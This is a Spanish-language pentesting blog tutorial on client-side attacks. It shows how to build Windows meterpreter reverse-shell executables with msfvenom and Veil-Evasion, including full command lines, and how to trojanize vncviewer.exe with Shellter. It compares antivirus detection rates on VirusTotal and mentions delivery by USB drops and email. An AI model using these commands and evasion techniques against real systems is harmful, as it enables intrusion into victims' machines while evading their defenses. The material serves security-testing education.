Se trata de un tipo de ataque client-side donde será el usuario final quien interactúe ejecutando el fichero malicioso. La forma de envío de estos ejecutables hacia la máquina remota sin tener una sesión previa puede ser de muchas formas: En el caso de tener acceso físico a la organización distribuir unidades externas usb con el binario esperando que alguien lo ejecute o envío de emails en el que se adjunte el fichero o un hipervínculo que redirige a una web externa donde se descargará (esto suele ser muy habitual). 

El principal "inconveniente" que nos encontramos como pentesters a la hora de ejecutar este método es que estos binarios ya sea por su contenido, sus firmas, morfología, etc. es probable que sea detectado y bloqueado por los fabricantes de antivirus o antimalware. 

Una forma de eludir binarios para evitar ser detectados es aplicar una capa de ocultación en su payload. Los encoders es una opción pero no suelen ser efectivos, sin embargo existen herramientas como Shellter y Veil-Evasión que generan sus propios payloads predefinidos utilizando crypters entre otras técnicas de ofuscación y que los hacen menos detectables para los sistemas de antivirus.

Comparativa de detección por antivirus de binarios con payloads maliciosos

msfvenom

msfvenom se trata de una herramienta que combina msfpayload para la generación de payloads y msfencode para la "ocultación" de payloads. 

Podemos generar binarios de forma sencilla estableciendo una serie de parámetros como puede ser la dirección IP y puerto a la que se conectará la máquina remota cuando ejecute el binario, tipo de arquitectura, payload, enconder (por defecto usará shikata_ga_nai) y caracteres de escape que puedan ocasionar algún tipo de error en la generación del binario.

Para generar un payload que establezca una conexión inversa con un Meterpreter y que sea compatible con sistemas Windows de arquitecturas x86 de 32 bits. 
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.19 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -f exe > shell.exe
Generar binario malicioso payload meterpreter con msfvenom.
Figura 1: Generar binario malicioso payload meterpreter con msfvenom.

En virustotal.com podemos analizar en varios motores de antivirus el binario generado con msfvenom y conocer que antivirus lo detectan como malicioso y cuales no. Como se ve en la captura ha sido analizado por 71 antivirus de los cuales lo han detectado 56.

Tasa de detección de malware en VirusTotal.com de un binario generado con msfvenom.
Figura 2: Tasa de detección de malware en VirusTotal.com de un binario generado con msfvenom.


Shellter Framework

Shellter Framework se trata de una herramienta/framework con la que podemos elegir unos binarios preestablecidos ubicados en /usr/share/windows-binaries el que escojamos se le añadirá un payload con utilizando crypters dificultando así la detección por los antivirus.

Ejecutamos Shellter e indicamos el binario, en este caso vncviewer.exe.

Shellter - Seleccionar binario vncviewer.exe
Figura 3: Shellter - Seleccionar binario vncviewer.exe.

Seleccionamos el tipo de payload ya predefinidos para aplicar en el binario anterior y una IP y puerto local de la máquina atacante para establecer la conexión con la máquina remota cuando ejecute el binario.

Shellter - Seleccionar y configurar payload en el binario vncviewer.exe
Figura 4: Shellter - Seleccionar y configurar payload en el binario vncviewer.exe.

Una vez generado el binario por Shellter comprobamos la detección en virustotal. En este ocasión vemos como el mismo tipo de payload ha sido detectado por 22 antivirus de un total de 69.

Detección del binario malicioso generado con Shellter en VirusTotal.com
Figura 5: Detección del binario malicioso generado con Shellter en VirusTotal.com.


Veil-Evasion Framework

Veil-Evasion Framework se trata de otra alternativa a Shellter. Con la misma idea dispone de una gran cantidad de payload predefinidos en diversos lenguajes, no es necesario escoger un binario como en el caso de Shellter podemos generar nuestro propio binario aplicando el payload que queramos.

Ejecutamos el Veil-Evasion Framework, con use 1 elegimos la modalidad de Evasion, listamos los payloads disponibles con list.

Veil-Framework - Seleccionar tipo y lista de payloads disponibles
Figura 6: Veil-Framework - Seleccionar tipo y lista de payloads disponibles.

Como ejemplo desde la lista seleccionamos el número que corresponde al payload "go/meterpreter/rev_tcp". Con set LHOST y set LPORT establecemos la dirección IP y puerto local a la que se conectará la máquina remota y generamos el binario con generate.

Veil-Framework - Configurar payload y generar binario.
Figura 7: Veil-Framework - Configurar payload y generar binario.

También podemos generar estos binarios de forma no interactiva sin necesidad de interactuar ni ejecutar el framework completamente. Siguiendo el ejemplo anterior sería algo así.
./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 10.0.0.19 --port 4444 -o shell2
Figura 8: Veil-Framework CLI - Configurar y generar binario en una sola línea de instrucción.

Finalmente subimos este binario para analizarlo en virustotal y compararlo con Shellter. La detección de antivirus es de 43 de 70. Aunque es cierto que se trata de otro tipo de payload, la detección es más elevada que en el caso de Shellter.

Detección del binario malicioso generado con Veil-Framework en VirusTotal.com
Figura 9: Detección del binario malicioso generado con Veil-Framework en VirusTotal.com.

Conclusiones

Vistas las comparativas de detección, msfvenom quedaría descartado y Shellter se colocaría en una mejor posición respecto a Veil-Evasion. 

Lógicamente esto no evita el ser detectados pero se trata de una técnica más que podemos aplicar de forma rápida y sencilla para evitar que nuestro binario con una shellcode sea detectado por un número determinado de antivirus pudiendo así facilitar una intrusión a un sistema de forma directa tipo client-side en un ejercicio de penteting.

Saludos!

Entradas Populares